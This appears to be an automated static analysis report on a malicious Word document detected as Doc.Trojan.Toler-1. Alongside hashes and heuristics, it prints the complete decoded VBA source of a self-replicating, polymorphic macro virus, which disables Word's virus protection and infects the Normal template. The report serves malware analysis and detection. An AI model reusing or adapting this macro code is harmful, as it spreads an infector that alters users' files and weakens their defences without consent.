Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9502637b9072b13…

MALICIOUS

Office (OLE)

30.5 KB Created: 2001-06-26 08:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 225793f54a3e8e0880317800e0348ea4 SHA-1: 4baec1ad0b4089a9b9eb66d1e8e4846968868ad9 SHA-256: f9502637b9072b130ec9524b74c5788539c73666221f60e9876ef3d5e333816f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro that is triggered by the Document_Open event. This macro attempts to modify the Normal template and potentially other documents by copying code between them. The ClamAV detection 'Doc.Trojan.Toler-1' and the presence of the Document_Open macro strongly suggest malicious intent, likely to achieve persistence or spread.

Heuristics 3

  • ClamAV: Doc.Trojan.Toler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Toler-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10322 bytes
SHA-256: d0a7fd06273289533912d440beedc81eb665ac353550ab4d133d84b1881b9a31
Detection
ClamAV: Doc.Trojan.Toler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' Tolerance!
Private Type FjntZ
  DbaguZ As Integer
  AxwvcbruZ As Integer
  YylesZ As Boolean
End Type
Private Sub Document_Open()
  Randomize
  Options.VirusProtection = False
  Dim RolcfcZ As Object, FepZ As Object
  Set RolcfcZ = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
  Set FepZ = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
  Dim DtqlvZ As FjntZ, NmsiZ As FjntZ: DtqlvZ = XqjtrucZ(RolcfcZ): NmsiZ = XqjtrucZ(FepZ)
  If NmsiZ.AxwvcbruZ = 0 Then
     CmybZ RolcfcZ, FepZ, DtqlvZ, NmsiZ
     Options.SaveNormalPrompt = False
  End If
  If (DtqlvZ.AxwvcbruZ = 0) Or ((NmsiZ.AxwvcbruZ <> 0) And (DtqlvZ.AxwvcbruZ <> NmsiZ.AxwvcbruZ)) Then
     CmybZ FepZ, RolcfcZ, NmsiZ, DtqlvZ
     ActiveDocument.SaveAs (ActiveDocument.FullName)
  ElseIf Rnd < 0.3 Then
     ActiveDocument.Range(0, 0).InsertParagraphBefore
     ActiveDocument.Range(0, 0).InsertBefore "MUD Forever! :-)"
     ActiveDocument.SaveAs (ActiveDocument.FullName)
  End If
End Sub
Private Sub CmybZ(DbaguZ As Object, SbdZ As Object, FromP As FjntZ, ToP As FjntZ)
  Dim MdntZ As String, OjkcxfZ
  MdntZ = DbaguZ.Lines(FromP.DbaguZ, FromP.AxwvcbruZ)
  OjkcxfZ = Array("BnteZ", "FjntZ", "DbaguZ", "SbdZ", "MxcrrZ", "AxwvcbruZ", "YylesZ", "RolcfcZ", "FepZ", "DtqlvZ", "NmsiZ", "CmybZ", "MdntZ", "CgtumpZ", "PxxhZ", "DfomhtnZ", "XqjtrucZ", "DnseiZ", "OjkcxfZ")
  For I = 0 To 18: DnseiZ MdntZ, (OjkcxfZ(I)), BnteZ(MdntZ): Next I
  If ToP.YylesZ Then SbdZ.DeleteLines 1, SbdZ.CountOfLines
  SbdZ.AddFromString MdntZ
End Sub
Private Function BnteZ(MdntZ As String) As String
  Dim CgtumpZ As String: CgtumpZ = ""
  While (InStr(MdntZ, CgtumpZ) <> 0) Or (Len(CgtumpZ) < 3)
     CgtumpZ = ""
     For I = 1 To 10
         If Rnd > 0.5 Then
            If Len(CgtumpZ) = 0 Then
                  CgtumpZ = CgtumpZ + Chr(Int(Rnd * 25 + 65))
            Else: CgtumpZ = CgtumpZ + Chr(Int(Rnd * 25 + 97))
            End If
         End If
     Next I
     CgtumpZ = CgtumpZ + "Z"
  Wend
  BnteZ = CgtumpZ
End Function
Private Sub DnseiZ(MdntZ As String, PxxhZ As String, DfomhtnZ As String)
  Dim I As Long
  I = 1
  While InStr(I, MdntZ, PxxhZ) <> 0
        I = InStr(I, MdntZ, PxxhZ)
        MdntZ = Left(MdntZ, I - 1) + DfomhtnZ + Mid$(MdntZ, I + Len(PxxhZ))
        Index = Index + 1
  Wend
End Sub
Private Function XqjtrucZ(MxcrrZ As Object) As FjntZ
  XqjtrucZ.DbaguZ = 0
  XqjtrucZ.AxwvcbruZ = 0
  XqjtrucZ.YylesZ = False
  For I = 1 To MxcrrZ.CountOfLines
   If MxcrrZ.Lines(I, 1) = "' Tolerance!" Then XqjtrucZ.DbaguZ = I
   If MxcrrZ.Lines(I, 1) = "End Function 'Tolerance!" Then XqjtrucZ.AxwvcbruZ = I - XqjtrucZ.DbaguZ + 1
   If InStr(MxcrrZ.Lines(I, 1), "Private Sub Document_Open()") = 1 Then XqjtrucZ.YylesZ = True
  Next I
End Function 'Tolerance!

' Processing file: /opt/analyzer/scan_staging/762609dc388c43c5a14bfa9f3e07633c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5925 bytes
' Line #0:
' 	QuoteRem 0x0000 0x000B " Tolerance!"
' Line #1:
' 	Type (Private) FjntZ
' Line #2:
' 	DimImplicit 
' 	VarDefn DbaguZ (As Integer)
' Line #3:
' 	DimImplicit 
' 	VarDefn AxwvcbruZ (As Integer)
' Line #4:
' 	DimImplicit 
' 	VarDefn YylesZ (As Boolean)
' Line #5:
' 	EndType 
' Line #6:
' 	FuncDefn (Private Sub Document_Open())
' Line #7:
' 	ArgsCall Read 0x0000 
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #9:
' 	Dim 
' 	VarDefn RolcfcZ (As Object)
' 	VarDefn FepZ (As Object)
' Line #10:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	Set RolcfcZ 
' Line #11:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	
... (truncated)

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